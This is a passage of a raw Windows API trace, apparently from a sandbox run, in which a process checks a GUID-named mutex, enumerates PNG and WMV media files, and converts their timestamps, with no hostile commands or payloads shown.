(dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.174] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0058.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.174] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.174] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.174] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.174] GlobalUnlock (hMem=0x440004) returned 0 [0058.174] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.174] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.174] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.174] GlobalUnlock (hMem=0x440004) returned 0 [0058.174] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.174] GlobalUnlock (hMem=0x44000c) returned 0 [0058.175] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.175] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0058.175] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.175] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.175] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.175] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.175] GlobalUnlock (hMem=0x44000c) returned 0 [0058.175] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.175] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.175] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.175] GlobalUnlock (hMem=0x44000c) returned 0 [0058.175] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.175] GlobalUnlock (hMem=0x440004) returned 0 [0058.175] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.175] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0058.175] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.175] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.175] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.175] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.175] GlobalUnlock (hMem=0x440004) returned 0 [0058.175] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.175] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.175] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.175] GlobalUnlock (hMem=0x440004) returned 0 [0058.175] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.175] GlobalUnlock (hMem=0x44000c) returned 0 [0058.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.176] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0058.176] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.176] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.176] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.176] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.176] GlobalUnlock (hMem=0x44000c) returned 0 [0058.176] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.176] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.176] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.176] GlobalUnlock (hMem=0x44000c) returned 0 [0058.176] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.176] GlobalUnlock (hMem=0x440004) returned 0 [0058.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.176] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0058.176] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.176] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.176] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.176] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.176] GlobalUnlock (hMem=0x440004) returned 0 [0058.176] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.176] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.176] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.176] GlobalUnlock (hMem=0x440004) returned 0 [0058.176] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.176] GlobalUnlock (hMem=0x44000c) returned 0 [0058.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.177] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0058.177] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.177] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.177] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.177] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.177] GlobalUnlock (hMem=0x44000c) returned 0 [0058.177] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.177] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.177] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.177] GlobalUnlock (hMem=0x44000c) returned 0 [0058.177] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.177] GlobalUnlock (hMem=0x440004) returned 0 [0058.177] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.177] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0058.177] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.177] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.177] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.177] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.177] GlobalUnlock (hMem=0x440004) returned 0 [0058.177] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.177] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.177] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.177] GlobalUnlock (hMem=0x440004) returned 0 [0058.177] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.177] GlobalUnlock (hMem=0x44000c) returned 0 [0058.177] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.177] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0058.177] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.177] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.178] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.178] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.178] GlobalUnlock (hMem=0x44000c) returned 0 [0058.178] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.178] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.178] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.178] GlobalUnlock (hMem=0x44000c) returned 0 [0058.178] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.178] GlobalUnlock (hMem=0x440004) returned 0 [0058.178] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.178] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0058.178] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.178] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.178] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.178] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.178] GlobalUnlock (hMem=0x440004) returned 0 [0058.178] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.178] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.178] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.178] GlobalUnlock (hMem=0x440004) returned 0 [0058.178] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.178] GlobalUnlock (hMem=0x44000c) returned 0 [0058.178] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.178] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0058.178] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.178] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.179] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.179] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.179] GlobalUnlock (hMem=0x44000c) returned 0 [0058.179] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.179] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.179] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.179] GlobalUnlock (hMem=0x44000c) returned 0 [0058.179] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.179] GlobalUnlock (hMem=0x440004) returned 0 [0058.179] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.179] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0058.179] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.179] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.179] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.179] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.179] GlobalUnlock (hMem=0x440004) returned 0 [0058.179] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.179] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.179] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.179] GlobalUnlock (hMem=0x440004) returned 0 [0058.179] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.179] GlobalUnlock (hMem=0x44000c) returned 0 [0058.179] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.179] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0058.179] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.179] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.179] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.179] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.179] GlobalUnlock (hMem=0x44000c) returned 0 [0058.180] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.180] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.180] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.180] GlobalUnlock (hMem=0x44000c) returned 0 [0058.180] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.180] GlobalUnlock (hMem=0x440004) returned 0 [0058.180] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.180] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0058.180] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.180] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.180] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.180] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.180] GlobalUnlock (hMem=0x440004) returned 0 [0058.180] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.180] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.180] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.180] GlobalUnlock (hMem=0x440004) returned 0 [0058.180] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.180] GlobalUnlock (hMem=0x44000c) returned 0 [0058.180] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.180] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0058.180] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.180] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.180] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.180] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.180] GlobalUnlock (hMem=0x44000c) returned 0 [0058.180] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.181] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.181] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.181] GlobalUnlock (hMem=0x44000c) returned 0 [0058.181] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.181] GlobalUnlock (hMem=0x440004) returned 0 [0058.181] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.181] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0058.181] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.181] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.181] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.181] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.181] GlobalUnlock (hMem=0x440004) returned 0 [0058.181] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.181] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.181] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.181] GlobalUnlock (hMem=0x440004) returned 0 [0058.181] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.181] GlobalUnlock (hMem=0x44000c) returned 0 [0058.181] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.181] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0058.181] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.181] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.181] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.181] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.181] GlobalUnlock (hMem=0x44000c) returned 0 [0058.181] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.181] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.181] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.181] GlobalUnlock (hMem=0x44000c) returned 0 [0058.182] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.182] GlobalUnlock (hMem=0x440004) returned 0 [0058.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.182] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0058.182] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.182] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.182] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.182] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.182] GlobalUnlock (hMem=0x440004) returned 0 [0058.182] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.182] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.182] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.182] GlobalUnlock (hMem=0x440004) returned 0 [0058.182] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.182] GlobalUnlock (hMem=0x44000c) returned 0 [0058.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.182] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, 